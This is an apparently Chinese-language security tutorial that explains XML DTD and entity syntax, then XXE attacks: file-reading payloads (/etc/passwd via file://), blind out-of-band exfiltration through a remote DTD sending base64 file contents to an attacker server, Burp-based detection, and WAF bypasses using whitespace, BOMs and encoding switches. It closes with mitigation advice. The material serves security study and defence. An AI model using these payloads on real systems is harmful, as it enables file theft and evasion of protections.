一个XML文档实例:
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
```
第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。接下来加上DTD进行声明 内部的 DOCTYPE 声明
<?xml version="1.0"?>
<!DOCTYPE note [ //定义此文档是 note 类型的文档。
<!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading,、body"
<!ELEMENT to (#PCDATA)> //定义 to 元素为 "#PCDATA" 类型
<!ELEMENT from (#PCDATA)> //定义 from 元素为 "#PCDATA" 类型
<!ELEMENT heading (#PCDATA)> // heading 元素为 "#PCDATA" 类型
<!ELEMENT body (#PCDATA)> //定义 body 元素为 "#PCDATA" 类型
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD元素 在一个 DTD 中,元素通过元素声明来进行声明。声明一个元素 在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:只有 PCDATA 的元素 只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明:<!ELEMENT 元素名称 (#PCDATA)> 例子:
``<!ELEMENT from (#PCDATA)>``
带有任何内容的元素 通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:<!ELEMENT 元素名称 ANY> 例子:
``<!ELEMENT note ANY>``
带有子元素(序列)的元素 带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:<!ELEMENT 元素名称 (子元素名称 1)> 或者 <!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)> 例子:``<!ELEMENT note (to,from,heading,body)>`` 声明只出现一次的元素 <!ELEMENT 元素名称 (子元素名称)> 例子:
``<!ELEMENT note (message)>``
上面的例子声明了:message子元素必须出现一次,并且必须只在 "note"元素中出现一次。
**外部文档声明**
<!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
```
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD 这是包含 DTD 的 "note.dtd" 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
重点介绍实体声明
**内部实体声明**
``<!ENTITY 实体名称 "实体的值">``
DTD 例子:
<!ENTITY writer "Bill Gates">
将writer 声明为”Bill Gates”,copyright 声明为 “Copyright W3School.com.cn”
XML 例子:
``<author>&writer;©right;</author>``
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
<!DOCTYPE foo [
<!ENTITY xxe "sec test" >
]>
<root>
<name>&xxe;</name>
</root>
**外部实体声明**
外部实体引用支持通过协议,来动态的获取值
``<!ENTITY 实体名称 SYSTEM "URI/URL">``
例子:
DTD 例子:
```
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
```
XML 例子:
``<author>&writer;©right;</author>``
可以通过``file://``协议来读取文件内容
```
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&xxe;</name>
</root>
```
不同语言支持的协议不同
<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">
```
<!ENTITY % style "2333">
<!ENTITY % test "%style">
```
**公共实体声明**
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
内部声明 DTD
<!DOCTYPE 根元素 [元素声明]>
引用外部 DTD
<!DOCTYPE 根元素 PBULIC "public_ID" "文件名">
/或者
<!DOCTYPE 根元素 SYSTEM "文件名">
在解析 XML 时,实体将会被替换成相应的引用内容,xml文档如下所示:
(1) 包含内部实体的 XML 文档
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY copyright "Copyright xx.xx.xx">
]>
<c>©right;</c
1. 包含外部实体的 XML 文档
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY copyright SYSTEM "Copyright xx.xx.xx">
]>
<c>©right;</c>
1.XML 解析器解析外部实体时支持多种协议
libxml2:file、http、ftp
PHP:file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
Java:file、http、ftp、https、jar、netdoc、mailto、gopher
.NET:file、http、ftp、https
2.不同解析器可能默认对于外部实体会有不同的处理规则,有些可能不会对外部实体进行解析:
PHP:DOM、SimpleXML;
.NET:System.Xml.XmlDocument、System.Xml.XmlReader。
对于XXE通常有两种利用方式:
1.有回显XXE
有回显的情况可以直接在页面中看到Payload的执行结果或现象。
带内XML外部实体(XXE),即攻击者可以发送带有XXE有效负载的请求,并从包含某些数据的Web应用程序获取响应。
攻击者通过正常的回显或报错将外部实体中的内容读取出来。file 协议读取文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
2.BlindXXE
服务器没有回显,只能使用 Blind XXE 来构建一条带外数据通道提取数据; Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体。参数实体:一个只能在 DTD 中定义和使用的实体,一般引用时用 % 作为前缀; 内部定义实体:在一个实体中定义的一个实体,即嵌套定义:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY % a "<!ENTITY b 'http://www.xxx.com'>"
%a;
]>
<c>&b;</c>
Blind XXE 采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的 URL 中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache 日志)中读出文件的内容(指定服务器即攻击者的服务器);DTD 中使用 % 来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到 XML 文件的 DTD 来使用; 有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体,所以需要将嵌套的实体声明放在外部文件中。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe; &xxe;</x>
//xxe为变量,读取test.txt
//打印出来
用file协议读指定路径的文件
显示结果
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.33.130:80/cookie.txt" >
]>
<x>&rabbit;</x>
如果设置了禁止外部实体引用,将会失效
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<x>&send;</x>
可以在远程服务器evil2.dtd写上:
<!ENTITY send SYSTEM "file:///d:/test.txt">
无回显-读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>
Base64加密是反正传输中乱码,传输失败。
本地192.168.xxx.xxx上构造:
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://192.168.xxx.xxx:8081/?data=%file;'>"
>
%payload;
开启日志,看日志就可以看到test.txt数据了。
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
如何检测:
数据格式类型:如果发现有<user>test</user><pass>Mikasa</pass> 类型
抓包发现 content-type中是 text/xml 或者 application/xml
盲猜:更改content-type值application/xml看返回
burp上抓包 右键
do an active scan:扫描漏洞
Send to spider:爬行
利用爬行,找到有xml,把xml代码拷贝到post上既可以利用
这里的文本$attack;指的是前面注册的实体的链接。链接中指定的文件内容将其替换为文档正文中的内容。上述文档分为三个重要部分:
1.可选标头,<?xml?>用于定义基本文档特征,例如版本和编码。
2.XML文档模式的可选声明——<!DOCTYPE>。此声明可用于设置外部链接。
3.文档正文。它有一个层次结构,其根部是指定的标签<! DOCTYPE>
正确配置的XML解释器要么不接受包含XML链接的文档进行处理,要么将验证链接及其来源,如果缺少验证,则可以通过链接加载任意文件并将其集成到文档体中,如上面的示例所示。
我们将根据WAF处理XML验证的方式来研究两种类型的WAF:
成熟的waf——使用自己的解析器预处理XML文档的WAFs。
基于正则表达式。仅搜索数据中的特定子字符串或正则表达式的WAFS。
这两种类型的WAF都可以绕过。
下面我们展示了攻击者可以用来骗过WAF并获得XXE的几种方法。
由于XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在<?xml?>
或<!DOCTYPE>
中插入额外的空格,从而绕过此类WAF。
为了绕过WAF,攻击者可能会发送特殊格式的XML文档,以便WAF认为它们无效。
比较成熟的WAF设置通常不会读取链接文件的内容。这种策略通常是有意义的,否则,WAF本身也可能成为攻击的目标。问题是,外部资源的链接不仅可以存在于文档的第三部分(正文),还可以存在于声明<! DOCTYPE>中 。
这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。
幸运的是,防止这样的绕过非常简单——命令WAF中的XML解析器在遇到未知实体后不要关闭。
除了前面提到的xml文档的三个部分之外,还有位于它们之上的第四个部分,它们控制文档的编码(例如<?xml?>)——文档的第一个字节带有可选的BOM(字节顺序标记)。
更多信息:https://www.w3.org/TR/xml/#sec-guessing
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。
在上一节中,我们演示了文档的编码通常由其第一个字节指定。但是当包含编码属性的<?xml?>标记引用文档开头的不同字符集时会发生什么?在这种情况下,一些解析器更改编码,使文件的开头有一组字符,其余的是另一组编码。。也就是说,不同的解析器可能在不同的时间转换编码。Java解析器(javax.xml.parsers)在<?xml?>结束后严格地更改字符集,而libxml2解析器可以在执行“编码”属性的值之后或在处理<?xml?>之前或之后切换编码。
只有在根本不处理这些文件时,比较成熟的WAF才能可靠地防止这些文件中的攻击。我们还必须记住,有许多同义词编码,例如UTF-32BE和UCS-4BE。此外,有些编码可能不同,但从编码文档初始部分 <?xml?>
的角度来看,它们是兼容的。例如,看似UTF-8的文档可能包含字符串<?xml version=”1.0” encoding=”windows-1251”?>
。
这里有一些例子。为了简明扼要,我们不把XXE放在文档里。
libxml2解析器将文档视为有效,但是,javax.xml.parsers set中的Java引擎认为它无效:
反之亦然,文档对于javax.xml.parser是有效的,但对于libxml2解析器是无效的:
libxml2的文档,在标记中间将编码从utf-16le更改为utf-16be:
libxml2的文档,编码从utf-8改为ebcdic-us:
正如你所看到的,有许多绕过方法。防止XXE的最好方法是配置应用程序本身,以安全的方式初始化XML解析器。为此,应该禁用两个选项:
外部实体
外部DTD架构